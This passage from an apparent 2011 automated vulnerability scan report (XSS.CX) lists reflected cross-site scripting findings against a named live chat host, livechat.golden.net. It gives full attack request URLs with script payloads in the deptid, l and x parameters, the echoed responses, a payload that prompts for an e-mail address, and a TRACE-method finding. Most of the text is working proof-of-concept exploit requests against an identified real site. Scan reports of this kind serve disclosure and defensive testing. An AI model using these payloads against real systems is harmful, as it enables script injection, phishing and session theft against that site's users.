User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:45 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7692
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<div id=\"ProactiveSupport_0f5d07><script>alert(1)</script>493eebbd683_1\">
...[SNIP]...

2.12. http://livechat.golden.net/js/status_image.php [deptid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the deptid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1470"><script>alert(1)</script>564cf19c618 was submitted in the deptid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0c1470"><script>alert(1)</script>564cf19c618&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7724
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<img src="+phplive_image_1_0c1470"><script>alert(1)</script>564cf19c618+" border=0 alt='Click for Live Support'>
...[SNIP]...

2.13. http://livechat.golden.net/js/status_image.php [l parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the l request parameter is copied into the HTML document as plain text between tags. The payload 5c51e<script>alert(1)</script>43861c3f8e3 was submitted in the l parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive5c51e<script>alert(1)</script>43861c3f8e3&x=1&deptid=0&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:07 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 6553
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
me_elapsed = unique - start_tracker ;
   if ( time_elapsed > 3600000 )
       do_tracker_flag_1 = 0 ;

   pullimage_1_0 = new Image ;
   pullimage_1_0.src = "http://livechat.golden.net/image_tracker.php?l=phplive5c51e<script>alert(1)</script>43861c3f8e3&x=1&page="+url+"&unique="+unique ;

   pullimage_1_0.onload = checkinitiate_1_0 ;
   if ( do_tracker_flag_1 == 1 )
       setTimeout("do_tracker_1_0()",tracker_refresh) ;
}
function launch_support_1_0()
{
   var
...[SNIP]...

2.14. http://livechat.golden.net/js/status_image.php [x parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the x request parameter is copied into the HTML document as plain text between tags. The payload 32bad<script>alert(1)</script>0780120448d was submitted in the x parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=132bad<script>alert(1)</script>0780120448d&deptid=0&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 6553
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
lapsed = unique - start_tracker ;
   if ( time_elapsed > 3600000 )
       do_tracker_flag_1 = 0 ;

   pullimage_1_0 = new Image ;
   pullimage_1_0.src = "http://livechat.golden.net/image_tracker.php?l=phplive&x=132bad<script>alert(1)</script>0780120448d&page="+url+"&unique="+unique ;

   pullimage_1_0.onload = checkinitiate_1_0 ;
   if ( do_tracker_flag_1 == 1 )
       setTimeout("do_tracker_1_0()",tracker_refresh) ;
}
function launch_support_1_0()
{
   var req
...[SNIP]...

3. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: livechat.golden.net
Cookie: 3fd985d0e50f6ec5

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:30:30 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: livechat.golden.net
Cookie: 3fd985d0e50f6ec5

4. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://livechat.golden.net
Path:	/image.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain XML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /image.php?l=phplive39eb1%3Cscript%3Eprompt(%22Please+enter+your+e-mail+address...%22)%3C/script%3Ee862c3d9ab9&x=1&deptid=0&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:36:38 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 178
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">Config error: reason: phplive39eb1<script>prompt("Please enter your e-mail address...")</script>e862c3d9ab9 config not found! Exiting... [image.php]</font>

Report generated by XSS.CX at Sun Mar 27 09:19:13 CDT 2011.